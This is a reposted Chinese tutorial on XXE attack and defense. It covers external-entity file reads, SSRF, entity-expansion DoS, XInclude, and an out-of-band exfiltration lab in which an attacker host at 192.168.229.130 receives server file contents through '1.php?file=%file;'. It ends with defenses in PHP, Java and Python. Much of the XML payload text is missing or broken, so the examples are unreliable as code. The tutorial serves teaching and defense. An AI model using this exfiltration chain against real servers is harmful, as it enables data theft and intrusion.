java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见

86075

作者:激越王

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

你是否听说过xml注入攻击呢,或者对它只知其一不知其二呢?

现在让我们从xml相关基础知识开始,一步步了解xml攻击的原理和方式。

这篇文章主要针对扫盲,请大佬们轻喷,有错误的地方欢迎指出。

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

XML 把数据从 HTML 分离。

XML 是独立于软件和硬件的信息传输工具。

86075

Everyday Italian      

Giada De Laurentiis       

2005 

30.00 

XML 中,一些字符拥有特殊的意义。为了避免这个错误,请用实体引用来代替特殊字符

附表一

86075

附表一注释:在 XML 中,只有字符 "

合法的 XML 文档是“形式良好”的 XML 文档,同样遵守文档类型定义 (DTD) 的语法规则。

DTD介绍

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

带有 DTD 的 XML 文档实例

note [

]>

Dave

Tom

实例

86075

源码

86075

当DTD 位于 XML 源文件的外部,通过下面的语法被封装在一个 DOCTYPE 定义中

root-element SYSTEM "filename">

外部DTD实例

note SYSTEM "note.dtd">

Dave

Tom

Reminder

"note.dtd" 文件

实例

86075

源码

86075

dtd文件

86075

PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD元素

86075

备注:由于仅仅是扩展,所以仅展示一些常用的元素语法

DTD – 属性

属性声明使用下列语法:

DTD 实例:

XML 实例:

以下是属性类型的选项:

86075

默认值参数可使用下列值:

86075

DTD – 实体(重要)

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

86075

Schema 介绍(XSD)

XML Schema 是基于 XML 的 DTD 替代者。

XML Schema 描述 XML 文档的结构。

XML Schema 语言也可作为 XSD(XML Schema Definition)来引用

攻击套路

一般技巧:

86075

1.引用外部实体远程文件读取

2.URL请求(可借此发起ssrf)

3.参数实体

4.通过 XInclude 包含外部资源

5.DoS

1. 外部实体引用

86075

通过外部实体引用,可以获取远程文件内容

本地实验:

86075

test.txt 文件中的内容就是 123123admin

但是有个问题,如果文件内容格式太过复杂,就会导致 xml 解析失败(比如内容里含有 空格、一些特殊字符 < > & ; 之类的文件)

86075

这个其实有绕过方法的,如上文所述,可以利用 参数实体,具体的内容后面介绍

还有一个我们知道的方法,就是使用 php 伪协议,php://filter 读取文件内容( 文件内容经过 base64 过滤器,就是全字符的,没有格式干扰)

2. URL 请求(ssrf)

直接使用外部实体引用就可以发起一个请求,原因是很多 xml 解析器读取到引用外部文件的模块时,就会强制性发出请求

本地实验:

首先在 172.16.169.153 监听 1231 端口:

86075

在 172.16.169.142 利用 xml 发出请求(将 xml 放入浏览器即可)

86075

如上图,浏览器一直处于加载内容状态,这是因为 153 的机器上没有返回信息…

172.16.169.153 的 1231 端口状态:

86075

这个 ssrf 可以值得注意一下,因为对 xml 的攻击中,大都是使用 外部实体引用,那么如果直接加载 xml 的时候,禁止外部实体引用呢?

这种情况下,大多数攻击都会失效,但是 ssrf 不会

别忘了请求外部资源还有一种方式,直接使用 DOCTYPE

86075

3. DoS

86075

任何能大量占用服务器资源的方法都可以造成 DoS,这个的原理就是递归引用

lol 实体具体还有 "lol" 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 "lol" 了,以此类推,lol9 实体含有 10^8 个 "lol" 字符串…

那么,引用 lol9,boom…

4. 参数实体

参数实体,之前在远程文件读取的介绍中,可以绕过文件内容复杂导致解析失败的限制

参数实体以%开头 我们使用参数实体只需要遵循两条原则:

1.参数实体只能在DTD声明中使用。 2.参数实体中不能再引用参数实体。

86075

如图,/etc/fstab 是一个内容复杂的文件,如果直接利用 SYSTEM 请求远程文件会解析出错的,也就是读不到文件内容。

那么就可以使用参数实体进行绕过 xml 严格的语法规则

其实流程很简单:

start 参数实体的内容:

goodies 参数实体的内容: file:///etc/fastab (使用 file 协议读取文件)

end 参数实体的内容:]]>

然后接着定义了一个 dtd 参数实体,使用 SYSTEM 发出获取 combine.dtd 的内容

并且在 DTD 内部引用了 dtd 参数实体,那么这个时候,源文件中的 DTD 应该是这样:

">

最后,再由源文件中引用 all 普通实体引发文件读取:

其中这个 CDATA 的意思是为 文件内容添加属性:不被解析的普通字符

这样,参数实体的引用就不需要在xml文档解析的时候保持xml闭合,xml 解释器就会直接忽略文件内容的语法规则,达到了绕过的目的

攻击方ip:

http://192.168.229.130/

eval.dtd

1.php

服务器IP

http://192.168.229.128/

2.php

在攻击方的WEB目录上有一个叫做eval.dtd文件用于攻击,然后在服务器上传2.php,执行2.php

86075

报错没关系。

下面看一下代码:

86075

1.php:

86075

简单的接受get参数传的内容然后保存在1.txt下

EVAL.DTD文件的内容为

86075

这里注意使用参数实体时,在引用实体的格式中需要编码用%代替 %,由于嵌套引用外部参数实体,如果直接利用%,在引用的时候会导致找不到该参数实体名称

作用为将接受到外部file实体应用到1.php?file=的%file上

这样在服务器上传来的内容就会传到file参数上然后保存到1.txt上

在2.PHP文件中

86075

第一个ENTITY用于读取服务器本地文件test.txt

第二个用于引用远程dtd文件

然后在实体利用上需要注意顺序,先执行名为dtd实体引用攻击方eval.dtd的代码获得了实体send的执行方式http://192.168.229.130/1.php?file=%file;

然后将file实体获得的内容引用到192.168.229.130/1.php?file

至此攻击完成,攻击方服务器以保存了1.txt

86075

这里提一下前面说过的,在读取文件的时候当存在空格,尖括号的时候这种直接读取内容的方式会报错

86075

显示无效url,抓包时抓不到在浏览器上访问http://192.168.229.130/1.php?file=blessing software的包

结合之前的的协议应用,可以使用常用的php://filter读取base64编码

86075

如下

86075

解码即可。

86075

只是选了几个协议作为例子,这里的协议都能使用。

这里附加几个关于xxe漏洞的英文文档和实例:

5. 通过 Xinclude 包含外部资源

基于XInclude的文件包含,使用的另一套 xml 语法约束:XML schema

XInclude提供了一种较为方便的取回数据的思路(再也不用担心数据不完整而导致parser抛出一个错误)而我们能够通过parse属性,强制引用文件的类型。

不过Xinclude需要手动开启,测试发现所有xml parser都默认关闭这一特性。

PHP 和 JAVA 环境

php 支持的扩展协议

86075

Java&Xerces

默认的Oracle's Java Runtime Environment下的XML parser是Xerces,一个apache的项目。而Xerces和Java提供了一系列的特性,这些特性又能导致一些严重的安全问题。上述的那些攻击手法(DOCTYPEs for SSRF,文件读取,参数实体的外带数据)在java的默认配置下能够运用自如,java/Xerces也支持XInclude 但是需要setXIncludeAware(true) 和setNamespaceAware(true)。

86075

php&expect的RCE

很遗憾,这个扩展并不是默认安装的,然而安装了这个扩展的XXE漏洞,是能够执行任意命令。

root[]>

&cmd;

还有 python、.net 环境等

防御

1 直接使用开发语言提供的禁用外部实体的方法

这样其实没法防御 xml 制造的 ssrf

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2 过滤用户提交的 xml 数据

敏感关键词:

总结

XML 攻击大都是由解析器发出外部资源请求而造成的,还有结合一些协议的特性可以轻松绕过 xml 格式要求。其中主要的关键字 DOCTYPE(DTD的声明),ENTITY(实体的声明), SYSTEM、PUBLIC(外部资源申请)。

由与 普通实体 和 参数实体 的灵活引用,从而引发各种套路

资料来源

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/563039.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java ios压缩图片,Java、ios图片上传

IOS客服端代码interface ViewController (){NSString *boundary;NSString *fileParam;NSString *baseUrl;NSString *fileName;}endimplementation ViewController- (void)viewDidLoad{[super viewDidLoad];boundary "----------V2ymHFg03ehbqgZCaKO6jy";fileParam …

线谱法 时钟分量的提取 matlab,LMD局域均值分解的matlab程序及示例

说明&#xff1a;研究LMD局域均值分解有3个月左右&#xff0c;能找到的相关文章也基本上看了一遍&#xff0c;觉得是个很好的方法&#xff0c;号称是EMD经验模态分解的改进版。但是网络上一直没有找到该算法的matlab程序&#xff0c;只见文章说的天花乱坠。后来自己写了一个&am…

matlab 多项式表达,MATLAB自学笔记(十七):多项式及其函数

终于结束了关于MATLAB的基础知识学习部分&#xff0c;开始了对数据的分析1.多项式的表达与创建MATLAB中用一维行向量来表示多项式&#xff0c;将多项式的系数按照降幂次序存放在向量中。请注意上面一句话&#xff0c;这将是MATLAB中对多项式操作的关键MATLAB中对多项式中缺少的…

matlab绘制8条曲线,科学网—【Matlab】如何用plotyy对应坐标绘制多条曲线 - 叶瑞杰的博文...

例子&#xff1a;设x1:0.01:100;y10.2*sin(x);y20.3*sin(x);y30.4*sin(x);y40.5*sin(x);y50.6*sin(x);以左边坐标轴为参考画一条曲线&#xff0c;以右边坐标轴画四条曲线&#xff1a;figure;[AX,h1,h2]plotyy(x,y1,x,[y2;y3;y4;y5]); %用分号还是逗号视y矩阵而定&#xff0c…

matlab数字通信,基于matlab时分复用数字通信系统的设计与实现.pdf

一、系统的功能及原理描述时分多路复用(TDM&#xff0c;time division multiplex )&#xff1a;在实际的通信系统中&#xff0c;为了提高通信系统的利用率&#xff0c;往往用多路通信的方式来传输信号。所谓多路通信&#xff0c;就是指把多个不同信源所发出的信号组合成一个群信…

matlab建立的发动机的模型,奇瑞使用基于模型的设计实现发动机管理系统软件的自主开发...

奇瑞采用了基于模型的设计&#xff0c;并请 MathWorks 工程师来协助其工程团队掌握 MATLAB 和 Simulink 的运用。奇瑞团队使用 Microsoft Word 定义系统需求。他们基于这些需求使用 Simulink 和 Stateflow 开发了一个 EMS 控制模型。使用 Simulink Check™ 和 Simulink Require…

matlab melbankm,Matlab v_melbankm函数参数详解(英文附例)

Matlab v_melbankm函数参数详解(英文附例)笔者使用的是R2019的matlab&#xff0c;下载了voicebox安装至matlab路径下即可使用。下载voicebox请参看此博客需要注意的是&#xff0c;melbankm改成了v_melbankm&#xff0c;今天自己使用此函数时后面几个参数不知道含义&#xff0c;…

php csrf攻击 xss区别,XSS与CSRF攻击及防御方法

前言web安全这词可能对于服务端工程师来说更加“眼熟”&#xff0c;部分前端工程师并不是十分了解&#xff0c;今天就来讲讲XSS攻击与CSRF攻击及防御方法XSSXSS (Cross Site Scripting)&#xff0c;即跨站脚本攻击&#xff0c;是一种常见于 Web 应用中的计算机安全漏洞。大部分…

java 文件名空格,java关于文件名带有空格的个人见解

好久没写文章了&#xff0c;为什么会有这个标题呢最近上篇文章不是写pdf生成吗&#xff0c;其中要加一个印章的图标&#xff0c;这个图标要跟pdf连体&#xff0c;就是不能单独被保存&#xff0c;基本上有几种保存图标的方法&#xff1a;1.数据库2.本地文件我选择了本地的文件&a…

命php令删除文件夹,window_win7系统通过cmd命令提示符的del命令删除文件的详细教程,怎么利用cmd命令提示符的del命 - phpStudy...

win7系统通过cmd命令提示符的del命令删除文件的详细教程怎么利用cmd命令提示符的del命令删除文件&#xff1f;cmd命令提示符的功能十分强大&#xff0c;它可以通过一些简单的命令来完成指定的查询、修改、删除等任务。接下来&#xff0c;小编主要分享cmd中del命令的常用方法。1…

matlab各个指令的含义,[MATLAB基础] 求解这段指令的意思,越详细越好,谢谢啦

求解这段指令的意思&#xff0c;越详细越好&#xff0c;谢谢啦 function [Kp,T2]KPCA(ax,ay)[Nx]size(ax);mean_X mean(ax);axbax;std_Xstd(ax);axax-mean_X(ones(Nx,1),:);std_X(find(std_X0))1;%数据预处理axax./std_X(ones(Nx,1),:);c10000;% gama0.05;% ni1;% F1ax(1,:);% …

php+js实现弹幕,jquery.barrager.js-专业的网页弹幕插件

jquery.barrager.js是一款专业的网页弹幕插件。它支持显示图片,文字以及超链接。支持自定义弹幕的速度、高度、颜色、数量等。能轻松集成到论坛,博客等网站中。由于IE9以下的IE浏览器不兼容CSS圆角,采用兼容样式,可单独设置弹幕的颜色,属性为old_ie_color,建议不要与网页主背景…

python list index方法,Python List.index()方法

Python List index()方法Python index()方法返回传递的元素的索引。此方法接受一个参数并返回其索引。如果该元素不存在&#xff0c;则会引发ValueError。如果list包含重复元素&#xff0c;则返回第一个出现的元素的索引。此方法还使用了两个可选参数start和end&#xff0c;用于…

zend studio php 5.5,Zend Studio使用教程:在Zend Studio中调试PHP(5/5)

本教程将教会您如何调试文件和应用程序以便从您的PHP代码中获取最大的效率和准确性。Zend Studio的调试功能可以检查并诊断PHP代码在本地或远程服务器上的错误。调试器允许您通过设置断点、暂停启动的程序、单步调试代码和检查变量的内容来控制程序的执行。调试应该在您的脚本和…

memcached和php关系,php – memcacheD这没关系?

Is this code vulnerable to the expired cache race condition? How would you improve it?是.如果两个(或多个)并发客户端尝试从缓存中获取相同的密钥并最终从数据库中提取它.您将在数据库上出现峰值,并且数据库将在一段时间内处于高负载状态.这称为缓存标记.有几种方法可以…

php 如何单独刷新模板,反馈一个x-admin模板的问题,点击左侧栏不会刷新右侧栏当前页面的问题,并提供解决方案。...

在xadmin.js或者x-admin.js里面找到左侧菜单效果的函数&#xff0c;2.0版本的如下&#xff1a;//左侧菜单效果// $(#content).bind("click",function(event){$(.left-nav #nav li).click(function (event) {if($(this).children(.sub-menu).length){if($(this).hasCl…

oracle 安装乱码,linux安装Oracle中文乱码问题汇总

解决oracle中文显示乱码有三层地方需要调整或者修改第一层&#xff1a;操作系统层1.首先查看linux是否有安装中文字符集&#xff0c;locale -a2.设置用户的中文字符集查看到linux安装了中文字符集&#xff0c;那么oracle用户下面要设置中文字符集vi /etc/locale.conf # centos7…

php 解析yaml,php yaml 解析 报错问题

今天用php写了一个简单的博客引擎&#xff0c;其中要用php yaml解析器&#xff0c;但是在使用的过程中遇到了这样的报错[09-Dec-2017 14:54:25 PRC] PHP Warning: yaml_parse(): end of stream reached without finding document 0 in /home/twikoizo/public_html/dev/core/mod…

oracle 00371,PLS-00371: 'WEB_LOGIN_CHECK_PK.CURSORTYPE' 最多允许有一个声明

Oracle 10.2.0.4 , 从其他地方导入过来的packages, 发现编译的时候报错。报错信息如下&#xff1a;PACKAGE BODY DPBG_WEB.WEB_LOGIN_CHECK_PKOn line: 11PLS-00371: WEB_LOGIN_CHECK_PK.CURSORTYPE 最多允许有一个声明package的spec 如下&#xff1a;CREATE OR REPLACE P…

oracle判断数据出现交叉,Oracle move table分析

在move操作的时候&#xff0c;进行的是block之间的数据copy&#xff0c;所以table所位于的block的区域会发生变化&#xff1b;所有行物理存储的顺序不会发生变化&#xff0c;但行号会变成按AAA增1的顺子&#xff0c;所以block里行会挪紧&#xff0c;实现了消除HWM和行碎片(包括…